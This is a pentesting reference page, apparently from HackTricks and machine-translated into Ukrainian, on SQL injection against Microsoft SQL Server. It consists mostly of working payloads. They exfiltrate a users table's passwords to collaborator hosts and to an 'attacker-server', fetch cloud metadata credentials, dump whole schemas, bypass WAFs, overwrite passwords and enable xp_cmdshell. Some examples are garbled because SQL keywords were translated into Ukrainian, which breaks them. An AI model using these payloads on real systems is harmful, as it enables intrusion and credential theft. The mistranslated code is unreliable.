MSSQL Injection

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Active Directory enumeration

Можливо, перерахувати користувачів домену через SQL-ін'єкцію всередині MSSQL сервера, використовуючи наступні функції MSSQL:

  • SELECT DEFAULT_DOMAIN(): Отримати назву поточного домену.
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Якщо ви знаєте назву домену (DOMAIN в цьому прикладі), ця функція поверне SID користувача Administrator у шістнадцятковому форматі. Це виглядатиме як 0x01050000000[...]0000f401, зверніть увагу, як останні 4 байти є числом 500 у форматі big endian, що є загальним ID користувача адміністратора.
    Ця функція дозволить вам дізнатися ID домену (всі байти, крім останніх 4).
  • SUSER_SNAME(0x01050000000[...]0000e803) : Ця функція поверне ім'я користувача вказаного ID (якщо є), в даному випадку 0000e803 у big endian == 1000 (зазвичай це ID першого звичайного користувача). Тоді ви можете уявити, що можете перебрати ID користувачів з 1000 до 2000 і, ймовірно, отримати всі імена користувачів домену. Наприклад, використовуючи функцію, подібну до наступної:
python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Альтернативні вектори на основі помилок

Помилки на основі SQL-ін'єкцій зазвичай нагадують конструкції, такі як +AND+1=@@version-- та варіанти, засновані на операторі «OR». Запити, що містять такі вирази, зазвичай блокуються WAF. Як обхідний шлях, об'єднайте рядок, використовуючи символ %2b, з результатом конкретних викликів функцій, які викликають помилку перетворення типу даних на бажаних даних.

Деякі приклади таких функцій:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

Приклад використання функції USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Ці трюки SSRF були взяті звідси

fn_xe_file_target_read_file

Вимагає VIEW SERVER STATE дозволу на сервері.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Це вимагає дозволу CONTROL SERVER.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Це вимагає дозволу CONTROL SERVER.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

Збережені процедури, такі як xp_dirtree, хоча й неофіційно задокументовані Microsoft, були описані іншими в Інтернеті через їхню корисність у мережевих операціях в MSSQL. Ці процедури часто використовуються в ексфільтрації даних поза каналом, як показано в різних прикладах та постах.

Збережена процедура xp_dirtree, наприклад, використовується для виконання мережевих запитів, але вона обмежена лише TCP портом 445. Номер порту не підлягає зміні, але дозволяє читати з мережевих загальних папок. Використання демонструється в SQL-скрипті нижче:

sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

Зазначимо, що цей метод може не працювати на всіх конфігураціях системи, таких як Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64), що працює на Windows Server 2016 Datacenter з налаштуваннями за замовчуванням.

Крім того, існують альтернативні збережені процедури, такі як master..xp_fileexist та xp_subdirs, які можуть досягти подібних результатів. Додаткову інформацію про xp_fileexist можна знайти в цій статті TechNet.

xp_cmdshell

Очевидно, ви також можете використовувати xp_cmdshell, щоб виконати щось, що викликає SSRF. Для отримання додаткової інформації прочитайте відповідний розділ на сторінці:

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL User Defined Function - SQLHttp

Створення CLR UDF (User Defined Function для загальної мови виконання), що є кодом, написаним будь-якою мовою .NET і скомпільованим у DLL, для завантаження в MSSQL для виконання користувацьких функцій, є процесом, що вимагає доступу dbo. Це означає, що зазвичай це можливо лише тоді, коли з'єднання з базою даних здійснюється як sa або з роллю адміністратора.

Проект Visual Studio та інструкції з установки надані в цьому репозиторії Github, щоб полегшити завантаження бінарного файлу в MSSQL як CLR збірку, що дозволяє виконувати HTTP GET запити зсередини MSSQL.

Суть цієї функціональності закладена у файлі http.cs, який використовує клас WebClient для виконання GET запиту та отримання вмісту, як показано нижче:

csharp
using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

Перед виконанням SQL-команди CREATE ASSEMBLY рекомендується виконати наступний SQL-фрагмент, щоб додати SHA512 хеш збірки до списку довірених збірок сервера (доступний через select * from sys.trusted_assemblies;):

sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Після успішного додавання збірки та створення функції, наступний SQL код може бути використаний для виконання HTTP запитів:

sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Швидка експлуатація: Отримання вмісту всієї таблиці в одному запиті

Trick from here.

Стисла методика для витягування повного вмісту таблиці в одному запиті передбачає використання клаузи FOR JSON. Цей підхід є більш стиснутим, ніж використання клаузи FOR XML, яка вимагає специфічного режиму, такого як "raw". Клаузу FOR JSON віддають перевагу за її стислість.

Ось як отримати схему, таблиці та стовпці з поточної бази даних:

`sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">`</span></div>

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 или %C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N separator between SELECT and a throwaway column:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

WAF Bypass with unorthodox stacked queries

According to this blog post it's possible to stack queries in MSSQL without using ";":

ВИБРАТИ 'a' ВИБРАТИ 'b'

So for example, multiple queries such as:

використовуйте [tempdb]  
створити таблицю [test] ([id] int)  
вставити [test] значення(1)  
вибрати [id] з [test]  
видалити таблицю[test]

Can be reduced to:

використати[tempdb]створити/**/таблицю[test]([id]int)вставити[test]значення(1)вибрати[id]з[тест]видалити/**/таблицю[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# Додавання безглуздого exec() в кінці та змушування WAF думати, що це не дійсний запит
admina'union select 1,'admin','testtest123'exec('select 1')--
## Це буде:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Використання дивно побудованих запитів
admin'exec('update[users]set[password]=''a''')--
## Це буде:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Або увімкнення xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Це буде
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--